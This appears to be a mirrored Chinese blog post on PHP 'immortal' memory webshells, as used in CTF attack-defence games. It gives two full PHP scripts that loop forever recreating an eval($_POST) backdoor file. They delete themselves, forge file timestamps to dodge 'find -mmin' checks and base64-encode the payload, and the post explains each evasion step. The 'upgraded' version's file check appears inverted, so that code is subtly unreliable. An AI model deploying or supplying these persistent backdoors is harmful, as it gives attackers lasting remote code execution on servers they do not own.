zoukankan      html  css  js  c++  java
  • 不死马

    什么是不死马?

    内存马,通俗讲就是不死马,就是会运行一段永远不退出的程序常驻在PHP进程里,无限执行。

    生成过程

    不死马.php上传到serverserver执行文件server本地无限循环生成 (一句话.php)

    两种不死马

    • 网上流传的不死马
    <?php 
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '2.php';
    $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .2.php');
        usleep(5000);
    } 
    ?>
    
    
    1. ignore_user_abort(true);
      函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
    2. set_time_limit()
      函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
    3. unlink(__FILE__)
      删除文件本身,以起到隐蔽自身的作用。
    4. while
      循环内每隔usleep(5000)即写新的后门文件
    5. system()
      执行的命令用于修改文件的创建或修改时间,可以绕过“find –name '*.php' –mmin -10”命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。
    • 升级版

    网上流传的不死马, while 里面只是并没有判断了这个文件是不是存在 ,
    那么我只需要把这个文件中的 shell 注释掉就可以绕过你的内存木马了.

    正确的姿势应该是这样 :

    <?php
     ignore_user_abort(true);
     set_time_limit(0);
     $file = 'c.php';
     $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+');
     while(true) {
         if(md5(file_get_contents($file))===md5($code)) {
             file_put_contents($file, $code);
         }
         usleep(50);
     }
    ?>
    
    

    参考:
    https://xz.aliyun.com/t/1530/
    https://blog.csdn.net/ski_12/article/details/84920127

    拓展

    一句话木马

    参考:
    https://www.uedbox.com/post/6051/

  • 相关阅读:
    jsp页面间传递参数 中文乱码问题(zz)
    java 生成xml
    java dom4j 解析xml
    生成不重复的32为随机码
    [HYSBZ
    七夕祭
    [CF741D] Arpa’s letter-marked tree and Mehrdad’s Dokhtar-kosh paths
    Baltic2014 sequence
    [洛谷P2459] SDOI2011 消耗战
    [洛谷P4172] WC2006 水管局长
  • 原文地址:https://www.cnblogs.com/unixcs/p/11301377.html
Copyright © 2011-2022 走看看